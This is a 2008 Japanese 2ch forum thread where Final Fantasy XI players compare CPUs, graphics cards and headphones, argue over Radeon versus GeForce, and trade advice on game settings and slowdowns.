お前ら、CPUやグラボやヘッドフォン何使ってる？

前スレ
お前ら、CPUやグラボやコントローラ何使ってる？
http://live27.2ch.net/test/read.cgi/ogame/1213544115/

これから仕事なのでテンプレよろ＾＾

公式動作環境
http://www.playonline.com/ff11/envi/win/win04_1.html
■nVIDIA　ドライバ
Final Fantasy XI by Square Enix
http://www.nzone.com/object/nzone_FinalFantasyXI_downloads.html
Vista　GF8ｘ00シリーズに強く推奨
■コンフィグについて
ファイル名を指定して実行→regedit
HKEY_LOCAL_MACHINE\SOFTWARE\PlayOnline\SQUARE\FinalFantasyXI
0000　MIPMAP
0001　フロントバッファ横
0002　フロントバッファ縦
0003　バックバッファ横
0004　バックバッファ縦
0029　サウンド同時発音数
http://grendal.sppd.ne.jp/FF11/config/config01.htm
http://grendal.sppd.ne.jp/FF11/config/02/config02.htm
http://grendal.sppd.ne.jp/FF11/config/03/config03.htm
http://grendal.sppd.ne.jp/FF11/config/04/config04.htm

自作ＰＣ板
http://pc11.2ch.net/jisaku/
FFベンチスレ　Part64
http://pc11.2ch.net/test/read.cgi/jisaku/1206262261/
FFベンチ質問・雑談スレ 16
http://pc11.2ch.net/test/read.cgi/jisaku/1204093441/
やはりATIとnVIDIAの信頼度は違いすぎた
http://pc11.2ch.net/test/read.cgi/jisaku/1195398348/

CPU一覧
http://pc.watch.impress.co.jp/docs/article/intel/codename.htm
http://pc.watch.impress.co.jp/docs/article/modelno/intel.htm
http://www23.tomshardware.com/cpu_2007.html

GPU一覧
http://www.amrstation.com/style/media/g-b_nvidia.html
http://pc.watch.impress.co.jp/docs/article/gpu/

質問or相談用テンプレ

【CPU】
【Mem】
【M/B】
【VGA】
【driver】
【DirectX】
【Sound】
【OS】

■FAQ

Ｑ．VISTAでPOLがインスコできないぞ！
Ａ．http://www.playonline.com/home/headline/news01.html

Ｑ．XPまだ使ってるの？VISTAで快適ヴァナ生活！
Ａ．VISTAはXPよりもOS部分が重いので、FFXIも処理が重くなります。 でも今から組むなら気になるレベルじゃないよ。

Ｑ．CPUは公式推奨スペックのPentium4がいいよね。
Ａ．Core2＞＞Athlon64＞＞＞＞Pentium4

Ｑ．FFXIは、シングルコアよりマルチコアのほうが早い？
Ａ．同一アーキテクチャの場合、ほとんど差がでません。
　　窓化などで複数アプリ立ち上げるときは、マルチコアのほうが快適です。

Ｑ．GPUはゲフォ？ラデ？
Ａ．公式推奨はGeForce。Radeonは比較的無難な描画をします。
　　ぶっちゃけどちらを使っても正しく描画されない部分があるから、好きにして。

Ｑ．SLI等のマルチGPUにしたけど、シングルと変わらない気が・・・
Ａ．マルチGPUには対応してないので諦めましょう！

Ｑ．ベンチ結果はよかったけど、実ゲームだと微妙だお・・・
Ａ．実ゲームとベンチは別物。ベンチマークはHDDやメモリ性能、回線速度までは計れないので
　　ベンチ結果は参考程度にしときましょう。

Ｑ．音飛びがすごい；；高いサウンドカード買って5.1Chサラウンドするか
Ａ．音飛びは使用です。ステレオしか対応してません。蟹で十分です。

Ｑ．バックバッファ2倍にしたら重くなった；；
Ａ．ですよねー

Ｑ．オンボードグラボやローエンドグラボでも遊べる？
Ａ．FFベンチHモードと同じ1024x768なら問題なく遊べます。それ以上の解像度ならミドルクラス以上のグラボ推奨

以上

乙！

>>1
これは乙ではなくて、わっちの自慢のしっぽじゃから勘違いをするでないぞ！
　　　　　　　　　　　　　 |＼　　　　　　 |＼
　　　　　　　　　　　　　 l lヽ`-‐ '´￣ ｀ヾゝヽ　　つ
　　　　　　 　 　 　 　 　 ｼ~　／" ｀ヽ ヽ　 `､l　　　　　つ
　　　　　　　　　　　　　//, '///|! !‖ ヽﾊ　､_ヽ　　つ
　　　　　　　　　　　　 〃 {_{＼」」 Ｌ|l|／ﾘ ｌ │ |ヽ　　　つ
　　＿＿＿＿.　 　 　 ﾚ!小ｌ●　　　 ● 从　|、|　）
　く　　ﾉ::::::;;;;;;＼. 　 　 ヽ|l⊃　r‐‐v　⊂⊃　|ﾉﾊ´
　　￣￣フ;;;;;／　/⌒ヽ__|ﾍ　　ヽ ノ 　 　j /⌒i !ヽ
　　　 ／;;;;／　　. ＼ /ヽ.|　l＞,､ __,　イァ/　 ///ﾊ
　　／;;;;∠＿＿＿　/ヽ./|　|　ヽヾ、　/,{ﾍ､__∧/ﾊ !
　く:::::::::;'::::::;':::::::;'::::::7ヽ< } / 　 l丶× / ヾ l　l''ﾊ∨

IDがdXivか。なんか惜しいな。

>>１乙

すれ乱立させんな糞ボケ

>>13
トカチスレにも言ってくるんだ！

忙しくて自作から離れていたけど4850なんて出てしかも2万円台なのか。
やはりATIの信頼度は違いすぎた。

>>15
キレイな顔してるだろ・・・それAMDなんだぜ

CPU:X3360
グラボ:GV-NX96T512HP
ヘッドフォン:ATH-AD2000

CPU：E6600
グラボ：7900GSSP
ヘッドフォン：K701＆A900

奮発して高いヘッドホン買ったけど
今はA900しか使ってない。

なぜ使わなくなったのか、そこら辺の詳細を
ぜひ価格。こｍにかいてくれないか？

前スレ>992

Front Bufferはモニタの解像度やグラボの能力次第として

Back Bufferについては レジストリやヴァナの手を使わずに
デフォルトのFinal FantasyXI Configで選択可能な数値が
512×512とか1024×1024なのに

なんで16:9で設定しようとしたのかそれを逆に知りたい。

CPU:Q9450
グラボ:9800GTX
ヘッドフォン:SE-A1000

ヘッドフォンとは違うがスピーカー、オンキョーのGD100とかなんとかが
評判よかったからポチッた。

もうテレビもコンポも邪魔だから全てPCで完結させてる

ラデ48xx系発売に伴って
新しくPC組みなおそうと思っているのですが
おすすめの電源教えてくだしい＞＜

>>23
必要な容量や、構成すら晒さないような君には↓オススメ
http://www.silverstonetek.com/products/p_contents.php?pno=zm1200m&area=jp

じゃあ俺はこれを進める
http://www.koolance.com/water-cooling/product_info.php?product_id=665

乱立の前に重複しているぞなもし

とりあえずレス数の多いこっちを保守

あっちの方がスレ伸びちゃったな

それほどでもない

おまえら、グラボ何使ってる？
おまえら、CPUやグラボ何使ってる？
おまえら、CPUやグラボ何使ってる？ ver2
おまえら、CPUやグラボやマザボ何使ってる？
お前等CPUやグラボとかちっぷセット何使ってる？　←のヮの
おまえら、CPUやグラボや電源何使ってる？
おまえら、CPUやグラボやモニタ何使ってる？
おまえら、CPUやグラボやケース何使ってる？
おまえら、CPUやグラボやスピーカー何使ってる？
おまえら、CPUやグラボやOS何使ってる？
おまえら、CPUやグラボや携帯何使ってる？　←　黒歴史
お前ら、CPUやグラボやCOMS電池何使ってる？　←　m9（^Д^）
お前ら、CPUやグラボやHDD何使ってる？
お前ら、CPUやグラボやメモリ何ﾂﾝﾃﾞﾚ？
お前ら、CPUやグラボやサウンドカード何使ってる？
お前ら、CPUやグラボやNIC何使ってる？
お前ら、CPUやグラボやNAS何使ってる？
前スレ　お前ら、CPUやグラボやUPS何使ってる？　←　m9（^Д^）
お前ら、CPUやグラボやルーター何使ってる？
お前ら、CPUやグラボやエアダスター何使ってる？

お前ら、CPUやグラボやキーボード何使ってる？
お前ら、CPUやグラボやCDラック何使ってる？
お前ら、CPUやグラボやマウス何使ってる？
お前ら、CPUやｸﾞﾗﾎﾞとかPCIe x1ｶｰﾄﾞ何使ってる？
お前ら、CPUやグラボやファン何使ってる？
お前ら、CPUやグラボやLANケーブル何使ってる？
お前ら、CPUやグラボやCPUクーラー何使ってる？
お前ら、CPUやグラボやTVキャプチャ何使ってる？
お前ら、CPUやグラボやUSBハブ何使ってる？　　　
お前ら、CPUやグラボやデフラグツール何使ってる？
お前ら、CPUやグラボやコンドーム何使ってる？　←　m9（^Д^）
お前ら、CPUやマジコン何使ってる？　←　m9（^Д^）
お前ら、CPUやグラボやコントローラ何使ってる？

お前ら、CPUやキューハチ何使ってる？　　←─【今ここ】
お前ら、CPUやグラボやヘッドフォン何使ってる？←┘

AMD、1.2TFLOPSの演算能力を持つRadeon HD 4870
http://pc.watch.impress.co.jp/docs/2008/0625/amd.htm

新アーキテクチャのGPUが発表されたのに、レビューが少なめ・・・
んヴぃであ（笑）の圧力恐るべし。

もうすぐいつものように提灯記事が出てくるさ

4亀なんてエヌベデの時はわざわざトピックスを分断して3連続でゲフォ2xxの記事が
並んだくらいなのになｗ

HD 4850はとくに高解像度で従来製品から大きくスコアを伸ばしている。9800 GTXを圧倒している点にも注目したい。
>>また，9800 GTX＋もかなり優秀だ。(笑）
>>また，9800 GTX＋もかなり優秀だ。(笑）
>>また，9800 GTX＋もかなり優秀だ。(笑）

HD 4850に機能性で対抗できる製品に仕上がったのではないかと思われるだけに，実に惜しい。
>>とはいえ，さすがはHD 4850対抗製品。(笑）
>>とはいえ，さすがはHD 4850対抗製品。(笑）
>>とはいえ，さすがはHD 4850対抗製品。(笑）

http://www.4gamer.net/games/045/G004578/20080623023/

HD4850を褒めてるのかと思いきや上記のような言い回しもしっかり付け足してある辺りは４亀は
非常にわかりやすい態度を取るｗﾜﾛﾀｗ

ゲフォGTXとスカイラインGTXどっちが速いの？

HD4870 　　　　　　　35000円
GTX260 　　　　　　　55000円

性能 HD4870>>>>>>GTX260

GTX260・・・・・誰が買うんだこれｗ
NVIDIAの大チョンボってFXシリーズ以来か。

>>35
ジャガーＸＪＲ１５

MDR-CD900ST

なんかGTXってPS3みたいだわ

>>36
4870ってミドルクラスだよね？たしか4万くらいに値上げだった気がする

4870は四万切るのは確実っぽい。

>>40
4870ってミドルクラスだよね？って言うより
GTX260ってハイエンドだよね？って言ったほうがいいなｗ

>>32 >>33 >>34
そりゃー4亀からみればラデオンとエヌベデじゃ貰ってるお金桁違いだろしなｗ

Ultra280ﾏﾀﾞｰ?

劣勢時の信者の言い分

淫厨：（提灯記事もってきて）ぜんぜん違う。やっぱりINTELのCPUはすごい
アム厨：開発費が違うんだから・・・。だけど低価格帯のC/Pは最高だよ！
んびぢぁ：ラデはドライバが糞。結局最適化されるのはゲフォ。ベンチは参考にならない。
あち：3Dだけのグラボはいらない。2D画質も重要。ゲフォは汚すぎる。

Nvidiaのハイエンドを買うって行為にお金を払うわけで、性能はもちろんだけど
AMDのが〜とかは関係ないと思うのです。280GTXとか買う連中にはｗ

そうだな　GPUだろうがCPUだろうが
たとえ5万程度の製品とわずかな差でも処理能力TOPなら
10万オーバーだろうが関係ねぇ　って買う連中と
それをできないのに脳内ユーザーになって
キチガイ発言する信者がいるだけだ

>>46
今売ってるのでNvidiaで最高のを買うのにお金なんか関係ないだろうしねｗ
フェラーリ買ってる人に、国産のスポーツカーでチューニングすればこっちのが速いしっｗ
って言ってるのと似たようなもんだしな。感覚が違うんだろう
フェラーリって車を買いたいだけでCPとか求めてないだろう・・・

普段着なんかUNIQLOで十分。

UNIQLOはないわ。

この差ですね

ところでどっちが本スレなんだ

>>48
流石に今度のは有名ブランドのデザイナーヘッドハントして作ったマジで売れそうなユニクロだから・・・ｗ

これユニクロ製品だけどデザイン良くね？

ただ高いだけしか取り得ないけどやっぱユニクロは嫌

こんな感じよｗ

昨年末に　7900GS　+　Zaluman900Cuを組み合わせて買った俺が優勝。

もちろんOSはXPsp2。　なぜなら、彼もまた特別な存在なのです。

9800GTXでいい

>>47
NVIDIAがフェラーリか？ｗ
昔らからのNVIDIAのイメージは、絶対性能とドライバの完成度
ドライバの評価が高かったのは、Detonator時代まで。今は糞
最後の砦の絶対性能も、4870X2がでればそれも終了。

性能劣る、暴熱、糞画質。信者はファビョってぶらんど（笑）を持ち出すと。

ダメダメ言われたGeForeceFXは
それでも2Dや動画の画質がそれまでより向上して、動画目的の人から評価されたんだぜ？
GTX200系の唯一評価できるのは、Idle時の消費電力だな。

まあ、グラボ購入する層の90%以上はえぬびで、らでおん関係なく
自分が買える金額の範囲内で最も性能のいい方買うわけだしな
別に性能がよければそれだけで十分なわけですよ

性能もドライバの完成度も高かったGeforce4時代が一番よかったな。

俺的ゲフォ番付
4 > 7 > 6 > 3 > 8 > 9 > 2 > G > FX

何を比べてるのかは俺自身わけわかめだけどｗ

>>54
俺は断トツで7XXXシリーズかなあ
今7600GT使ってるけど、FF辞めるか、グラボ壊れるまで多分ずっと7600GTのままだと思う・・・

FF的にげふぉ8600GTも地雷とかいってたっけ？ちなみにXP
自分のPCげふぉ8400orzかと思ってたけどデバイスマネージャみたら8600だった

8系は全部相性悪いんじゃなかったか

AGPゆえに事実上６８００Ultraで打ち止めな俺にあやまれ。


ノートPCと妹の自作PCでRadeonのドライバの糞さに嫌というほど辟易してるので
次に自作を組むとしてもGFにするつもりだが。２８０は入れられないから買わないけど。

旧世代グラボでUltraとか言われると
マクロスFのデストロイドモンスター思い出した

FF程度なら8x00系で全然問題ない

8x00て・・・

G200系、HD4000系より9800GTXが一番売れそうだが。

値段が２万ぐらいまで落ちるからねー。
でも9800GTXには大きな問題があるんだよな。カード長が約２７ｃｍととてつもなく長い。
Antec SOLO使ってるが２７ｃｍは入らない(´；ω；`)
一般的な人が多く使ってるミドルタワーケースじゃ２７ｃｍはまず入らないんだよね。
HD4000系は２３�aだから9800GTXはそこが大きな欠点だな。

>>62
9800GTXは流通在庫のみで終了らしいし、それはないんじゃね？

ソースはこちら
http://www.gdm.or.jp/voices.html

NVIDIAホンマひどいわ

どっちにしろFFのためだけにそんなキチガイ仕様の爆熱GPU買う奴なんかいねーよ
いたらアホだけ

9800GTXって出たばっかじゃないか？
もう終了かい
まあ使わんが

8800の後継にしては微妙。
結局9800って何だったんだろうなｗ

NECやATIの9800は申し分ない位存在感あったのに

ヘッドフォンスレかと思って喜んで来てみれば…>>1に謝罪を請求する！！

9800GTXは8900GTXだよなあ、グレード的に

メモリバス幅は下回るから高解像度では先代に負ける謎仕様だけどな

FF11やるのにそこまで爆熱イランだろ。プレスコじゃあるまいしｗ

7900GSあたりで十分すぐる

このスレじゃFFのためだけって人は少ないような気がする

FF縛りがあるからネ実民のPCは6年前のロースペックなんだよな

993以降のレスが知りたい…
>>20をみてたらなんか重要な事が書かれてるような気がしてきた。



BB16：9はみんなしてると思ってたんだけど、私だけだったのかな？

>>74　これだけしかない

997　　既にその名前は使われています　　 　Date:2008/06/25(水) 07:14:49.75 ID:RIIrhdEm

>>992
>>2
BBをFBと同じにするか縦横2倍にすれば直るかもよ

16:10派

俺は尻尾から食べる派

新しいGPUが発表されたよ〜＾＾ノ

Matrox M-Series
http://pc.watch.impress.co.jp/docs/2008/0626/matrox.htm

Aeroが動作するらしい。ってことはやっとDirectX9を完全にサポートしたんだな。

>>73
それはあるなｗ
多少のPC知識ある人でFF11と心中決めてる人だと
XP+GF7X00シリーズからいつまでも脱出できんｗｗｗｗｗ

>>79
おまいはネ実で何を言っているんだ？
ここは自作板じゃないぞ？

>>80
ネ実板だからあえて>>79みたいな内容書いたんだけど？
俺なんか違ってる？(´･ω･`)

FF専用PCを３０万で組んだ俺もいるから間違ってない

Vistaと8x00の在庫だらけだからってそれはねーよｗ

いや、そんな変なこといってないと思うぞ？
俺もついこの前まで、Athlon64 3200+とRadeon9800PROとか
げふぉほどじゃないが、一時期のそこそこ流行系構成でずーっとFFしてたしｗ

マクロやら設定が一度安定しちゃうと、移行めんどくさいんだよなｗｗ
動画エンコしたくなったから最近買い換えたけど。

さすがＦＦで人生終わった無職が多いネ実ｗ
ハイエンドマシン買う余裕も無いときてる

使い切りもしないスペックのPC組んでも仕方ないだろｗ

ゲームごとに最適なPCを１台専用に組んで起動するのがゲーマーのたしなみだろうｊｋ
ハイエンドPCなどという１台で全部のゲームを済ませようなんて貧乏根性は捨てないと

FFはそこそこので専用機。
他ゲー用のはもっといいスペックで組むな。

おいす。前スレに見積もり頼んだものです。
今週末あたりにパーツ買う予定なんだけど
VGAに安くなったはずのRadeon HD3シリーズはFFやるのに適しているんだろうか？
ちなみに、FFの動画撮ってみようと思っている。

無双５ベンチが４亀にあがってるけど、なんかすごく動き早いんだよな
５やったことないからわからないけどこんなもんかねぇ

ちなみに
E8500 mem:4G 9800GTX wideモードで
fps91.6だったな
ゲームとしてはそんな重くないのかね

FFならRadeon1950シリーズが鉄板じゃね

>>89
ラデHD3000シリーズは糞シリーズだからまじで買わない方がいいよ
安くなったからお買い得ってわけじゃない
安くても買う気が起きないのが正解だから・・・

>>91
ラデはカタがFFに向いてないな
1950PRO自体はいい部類の製品なのは否定しないけど、FFに関して言えば
鉄板はGF7900GSだと確信しとるな
まあ、もう中古以外で購入できないから今更なんだが

ゲフォなら７９００シリーズ
ラデなら１９５０シリーズ
がそれぞれ鉄板だと思う

>>92
げふぉ厨乙
4800でフルボッコだからって模造はちょっと＾＾；

脳内ソースよろしくおねがいします。

>>92
GeForceがファイガや歌エフェクトでカクついてた時からラデｘカタが鉄板だったんだけどｗ
つかｶﾞｲｼｭﾂだけどDetonatorまでだからnVIDIAのドライバが良かったのって。

ID:H15HBj5Hは逃亡かな？
片方のメーカーの肩を持つのは別にいいが、嘘ついてまで応援するのもな・・・

ID:H15HBj5Hって7600GT使いなのになんでラデについて悟り開いて語れるの？ｗ
キチガイニート2号か？ｗ

>>89
HD3シリーズはPPの関係でFF向きじゃないっぽいから微妙かな
本当は1950PROとかがいいけど売ってないから
頑張ってHD4シリーズ買うか捨て値の9600GTか8800GTでいいんじゃない？

7800GTX512の突出具合は異常

7900GSでもさすがにWUXGAバック2倍はきつめだからなぁ
これぐらいになると現世代買うしかなくなってしまうな

>>90
なんかエフェクトとかは色々使ってるのはわかるんだけど、
全体的になんかしょぼくなってるような気がしたなぁ・・・
なにがしょぼくなってるのかよくわからないんだけど、
キャラの大きさとかが小さいからかなぁ

魔王再臨でないかなぁ

ネタがないが上げとこう

>>98
これから出てくるGPUに省電力機能はからなず付いてくるからな〜
ラデばかり叩かれてるが、GTX200系のはFFでどうなるんかな？

RadeonHD2000以降で Low3D/Hi3Dのクロック切り替えが気になる人は
ATIToolで調整可能だから、試して見てはどう蟹

>>94
4800がっかりだったもんなｗ発売日前に急遽値上げとか・・安いと思ったら高くなった罠

あっちのおっさんスレの方が流れ早いなｗ

えーと、つまり住人のほとんどがオッサンだったってことか？

FF11プレイヤーのほとんどがオッサン

グラボの動画再生支援機能ってやつなんだけど、
これさえあればヘボCPUでも1920x1080のMP4とかヌルヌル動くようになるんかな？

どのくらいヘボかにもよるし、動画のクオリティにもよるし
Codecにもよるし、再生支援も色々あるし

>>108
http://hivision.f-tools.net/HD2PC/PreVideo-UVA.html
> 雑誌なんかによると、Blu-ray Diskを再生させた場合、
> CPU占用率は50〜60%になる（Core2Duo）ようですが、
> 動画再生支援機能をオンにさせた場合は、10〜15%まで下がるようです。

> 注意すべき点は、ビデオカードの性能はCPU自体の性能が高くないと効果を発揮しないと言うことです。
> たとえば、Pentium 4といった昔のCPUに高性能なビデオカードを搭載しても、ほとんどその能力を発揮できません。

どんなCPUをヘボCPUと称してるのかわからんがPen4以下なら期待しない方がいいのかも？

>>109　質問が抽象的すぎたようですまんです。
ラデとゲフォのだとどっちが評判よいのだろうか。

現在のペン４にAGPのグラボだとカクカクすぎてもう・・・

>>110
レスどうもです。ペン４じゃやっぱりダメなのですね。
マザにCPUにグラボと総とっかえかー；；

ラデとゲフォそれぞれの動画再生支援は誘導くださったページにちらっと載ってましたね。
ラデの方が優秀なようで。

PureVideoってフリーのデコーダある？

評判というかソフトによってはどっちかしか対応してなかったりもするから
再生ソフトとVGAの組み合わせで考えないとだめだよ
CodecもCoreAVCとか有料だけど使うなら軽くなるし

だいたいPentiumDCくらいのCPU＋再生支援付きVGA＋対応してる再生ソフト
が揃えば1920x1080のH.264は殆ど問題無い

もう少し検索してみたら個人のblogだけど少しだけ書いてた
見れる程度にマシにはなるっぽい

Radeon HD 2600 XTでHD DVD再生
http://av-nebu.com/neb_blog/blog.cgi/permalink/20080428224111
> UVDの効果なのか、P4 3Gでも全くコマ落ちしません。
> CPUの使用率は70％前後とちょっと高いですが。

>>114参考になります。再生ソフトはpowerDVDあたりがよさそうですかね。
CoreAVCというのをググってみたら今使っているffdshowより軽いそうですね。
しかしこれフリーで落とせたけどこれでいいのだろうか・・

>>115
おかげで希望が見えましたｗAGP世代のグラボでも支援機能あるものあるんですね。

AGP版の　ラデ3650　3850はどうなの？　ＦＦ的に

CPU：dual-core E2180
メモリ：DDR2　512Mx2
HDD：160G
VGA：geforce7200gs

low6500　high3500なんてスコアで実際解像度上げると影やエフェクトきりまくりだから
新しいグラボ買いたいと思ってる。8000-10000円程度でオススメのあったら教えてくだしあ

>>118
急いでないならもう少し待った方がいい
HD4xxxが引き金になって価格が変わりそうだから

>>118
ｸﾞﾗﾎﾞはgf7900gsに変えればスコア1000は上がるよ

俺ペンD2.8GGz メモリ1.5MB ｸﾞﾗﾎﾞなしでスコアH2200だったのが
7900GS積んだらH5000超えたから5000円くらいの出費で済んだ

今その値段じゃ無駄な投資になるかもな

HD3650
8600GT
このへんの人気のないメーカーで1万ぎりぎりぐらい

ちなみにNVIDIAは9800GTXの無茶値下げ告知で8800GT＆GTSも下げざるを得なくなり
その下位の9600GTあたりまで波及して17000円割ってきてる

ロープロならシラネ

>>118
買うのを１，２ヶ月我慢するのが正解だな

E2180をオーバークロックするのが一番効果的じゃない？

>112
今時のAMDならオンボでHD3200でないか？マザとCPUで２万でいけるような
まぁついでにあれもこれもIYHで５万コースだな

>>117
3650は安くて良いかもね

【M/B】Rampage Foumula
【CPU】Core2DuoE8500 4.20GHz
【MEM】DDR2-1066 2GBx2
【HDD】WD Raptor 740ADFDx2 RAID-0
【VGA】ATi RadeonHD4850CrossFire
【SOUND】ONKYO SE-200PCI LTD
【OS】XP Pro SP3

4850CF導入したが8800GTXと特に変わらなかった

>>126
またゆとり世代か・・・
なにもって比較してるか書けよ。
俺たちはお前のNPCじゃないんだぜ？

PC自作のベンチスレと間違えてるんじゃね？
それでもスコアも書いてねーけどｗ

まだマルチGPU環境がFFに有効だとか思ってるゆとりがいるのか

>>126
使用ヘッドフォンも書かずになにしてんの？

>>127
FFベンチ3
8800GTX→Low12236 Hi10529
4850CF→Low12608 Hi10685
実プレイでも重くなったりは無かった

ゆめりあ
8800GTX→92000
4850CF→151000

>>124
ちょっとAMDも視野にいれて考えてみようと思います。
オンボのGPUがそれだけ性能いいとは・・・


ちょっと疑問なんですけどGPUを別に、たとえば話題のHD4850を増設して、
オンボのGPU性能を補助的に同時にいかしつつ動かすみたいなことって出来るんですかね？

>>132
あるけど低い方に合わせるからHD4850単体の方がいいよ

>>133
そうでしたかーありがとうございます。

CPU：Athlon64x2 5200+(65W)
グラボ：RADEON 3870
ヘッドフォン：ATH-CL550R

静音、低発熱、低消費電量で最高ｗ
ヘッドフォンは4ｋそこそこで買ったにしては
使い勝手のいいコードレスへッドフォン

>>124
http://pc11.2ch.net/test/read.cgi/jisaku/1211211911/24
【High】 3275
http://pc11.2ch.net/test/read.cgi/jisaku/1211211911/25
【High】オンボXP 3713 Vista3440
http://pc11.2ch.net/test/read.cgi/jisaku/1211211911/28
【High】 4237
http://pc11.2ch.net/test/read.cgi/jisaku/1211211911/80
【High】 4450
http://pc11.2ch.net/test/read.cgi/jisaku/1211211911/83
【High】 4009

少しだけ抜き出してみたけどBB1024*1024なら行ける位なのかな
でも780GのオンボってUVD対応してたっけ？
ちなみにメモリの規格も変わってるからメモリも買わないとダメ

>>131
>>129

今、GALAXYの7900GSオーバークロック版なんだが、次何買っていいのかわからん('A`)
早く決定版みたいなの出してくれ

>>136
780GはUVD対応、780Vは非対応

ちなみに・・・LFBにDDR3-1066-1333 128MBが乗ったマザーがでる
http://www.gigabyte.com.tw/News/Motherboard/News_List.aspx?NewsID=1397
ギガだけどなー
AsRockだったら買ってたのにぃ！

>>138
GF9800GTX+

いろんな意味で決定版

>>140
そんなゴミいらねーｗ

時速100kmの車
時速120kmの車で燃料費2倍

9800XTが決定版だろ・・・

俺はなんとなくAll in wonder 9800XT

アッパーミドル〜ハイエンドコアの、モバイル版を搭載したグラボが出れば
低発熱高性能で決定版！
実際には出ない！

MSIだかがMXM使ったグラボ出す予定あったけどあれって結局NからNGになったのかな？
海外なら売ってるのかな

>>138
電源工事して200Vor20A以上の電源を用意するんだ。

【CPU】PentiumD2.8GHz
【Mem】DDR2(667)1GBx2
【M/B】i945P/G
【VGA】MSI NX8600GTS-T2D256E-HD
【driver】ForceWare169.17(FFXI用の)
【DirectX】9.0C
【Sound】オンボード
【OS】WinXP Home SP3
【電源】ZU-450Z
【回線】Bフレッツ
常駐:Avast・PG2・ZoneALARM(ゲームモード)
FFコンフィグ:MipMap on、Front800x600、Back1024x1024、General HIGH、MenuMap HIGH
BumpMap off、Deform Animatuion off

この設定でFFやってるのですが、裏やエインヘリヤルなどの人数の多いコンテンツだと
スローモーションのようになり、ログの表示まで遅くなりマクロの反応も遅くなります。
FFの再インストールやファイルチェックも行なったけど変わりなし…
グラボを変えてから、この症状が出るようになりました。
ドライバクリーナーを使ってから、新しいグラボの設定などはしています。

そこはandだろうと思うがどうでもいいや。


インプレスが未だに4800系の正式なレビュー出さないな。
某N社と協議中か？ｗ

提灯ライターになりきれない多和田どうするんかな？

>>148
前挿してたGPUは何んだ？

RADEON1650PROです。

>>148

とりあえず公式に175.16動作確認になったから入れ替えてみたら？175.19でもいいけどさ
http://www.nvidia.co.jp/object/winxp_175.16_whql_jp.html

あとDirectXの最新版入れるとか
http://www.microsoft.com/downloads/details.aspx?displaylang=ja&FamilyID=2da43d38-db71-4c1b-bc6a-9b6652cd92a3

AAとかの設定が重くなったんじゃないの？

>>151
ラデのドライバが完全に消えてなかったか
Geforce特有のFFでの一部のエフェクト中に重くなるかじゃね？
もしくはFF用ドライバはVISTA向けにチューニングしてあるから
最新のドライバいれてみそ

両方ダウンロード完了したので入れてみます。

NVIDIAコントロールパネルで変更したのは
プレビューによるイメージ設定の調整→マイプレファレンスを使用する
パフォーマンスで一番左側

FFじゃE6600+1950Proのサブ機よりE8400+8800GTのメイン機の方が
もっさりした感じだったから、そういうもんなのかもしれん

【CPU】Athlon64x2 4000+
【Mem】バルク1Gx2(2GB)
【M/B】GYGABYTE GA-MA69G-S3H
【VGA】GeForce7600GS(256MB)
【driver】ForceWare93.71
【DirectX】9.0C
【Sound】オンボード
【OS】WinXP SP2
【回線】Bフレッツ

このスペックのPCでFFやってるのですが、カンパニエやビシージ等で重く感じます
もう少し快適にプレイできればと思うのですが、グラボ交換が無難でしょうか？
アドバイスを頂ければと思います。よろしくお願いします

>>158
そんだけスペックあるなら
■eに入社して神プログラム組まないと快適にならないと思う。

ギガバイト - サポート - マザーボード - CPUサポートリスト - GA-MA69G-S3H (rev. 1.0)
http://www.gigabyte.co.jp/Support/Motherboard/CPUSupport_List.aspx?ProductID=2554

65nmの5600+でも乗せたら？12000円ぐらいだと思うよ


まー解像度書いてないからなんとも言えんけどな

>>159
(；´Д｀)

>>160
フロントバッファが1024x768
バックバッファが1024x1024

でやっております
CPUの方はちょっと見てみます

>>161
HDDを最近流行の320GBプラッタのものに変えてみるのもいいかもしれない
意外とHDD性能向上させると快適になるもんだお！

まー　金があるなら話題のHD4850もいいんじゃない？
ただCPU換えたほうがその解像度でFFやるなら効果高いと思うよ

>>158
GF7600だと微妙なラインだけど、どっちを変えた方がいいかと問われればCPUかな。
消費電力的にも4850eあたりがいいと思うけど、
65nmの5000+以降でもだいぶ変わるんでないかな。

>>158
CPU交換のほうが遥かに効果高いと思います、皆に激しく同意

まず普段遊んでる解像度や表示設定を極限まで下げる
グラフィックに関するあらゆるオプション切って
FBともに512x384とかで遊んで見て
それでも自分が感じる「重さ」が以前の設定と同じなら
それはもうパーツ交換しても意味ない
PCではどうしようもない重さだから我慢するしかない

>>103
ATIToolでLow3D/Hi3Dの設定をどうやるのか詳しく教えてはくれないでしょうか？
または詳しく載ってるサイトでもいいです。
ググッても詳しい説明載ってるサイトってなかなか無いんですよね。
ATITool入れてみたはいいがどこをどう触ればいいかさっぱりわからん・・・

クロックを「定格」に「オーバークロック」すりゃいいんじゃね？

>>167
ぐぐったけどATIToolの詳しい使い方のサイト見つからん。
起動して左下のSettingsから色々変更できるが・・・

俺は2600使っててクロック変更した口なんだが、ATIToolは使わなかった

GPU-ZでBIOS抜き出して
atibioseditでBIOSのクロック情報を編集して
atiflashでBIOSに書き込んだ

2D/3D固定だったのが、ちゃんと2D時にクロックダウンするようになったお。

>>158
＞カンパニエやビシージ等で重く感じます
クライアント側じゃなく、サーバー側の問題だからどうにもならない。
ぶっちゃけ、100万のPCでも重くなると思う。

>>158
その手の大人数コンテンツは高解像のベンチを1万超えるようなPCでも
重いからクライアント側ではどうにもならんねえ
Athlon64x2 4000+とGF7600GSなら定格でもHi(ベンチ)で5000前後あると思うし
フロントバッファが1024x768
バックバッファが1024x1024
ぐらいなら大人数コンテンツ以外は普通に快適にできると思うけどなー
大人数以外のプレイで不満がないなら、そのままの構成でいいと思いますよ
CPUやVGA多少上のモデルに変更する程度だと正直出費に見合うだけの変化は体感できるかは微妙〜
変えるなら、もうCPUとVGA両方だねえ(CPUはx2の5200↑、VGAはHD4850あたりに)

>>148
排熱が上手く言ってない可能性もある。
PenDって確か高温になると自動でクロック下げたりしたよね？

【CPU】 AMD Phenom X4 9750 2.4GHz
【Mem】 PC2-6400 2GB*2
【M/B】 ASUS M3A
【VGA】 Radeon HD4850
【driver】 8.6
【DirectX】 10.1
【Sound】 オンボ
【OS】 Windows　Vista　32bit

そもそも上記のハイエンドマシンでもＦＦは軽くならない。
ＦＦが重いのはマシン側の問題じゃなさそうだぜ

CPUがボトルネック。
既にビデオカードは頭打ちになってる。

唐突な質問で申し訳ないけど、GF7シリーズでFFやる場合
ネ実的に最も評価の高いドライバって何でしたっけ？

>>173
それCPUがダメすぎるだろ

ルーターとLANカードいいやつにするといいかもナ

>>176
あ？AMDの最新の技術で作られたCPUなんだが？

FFにはナローバンドから対応しててな
ある程度のスペック以上はいくらあげても変わらん

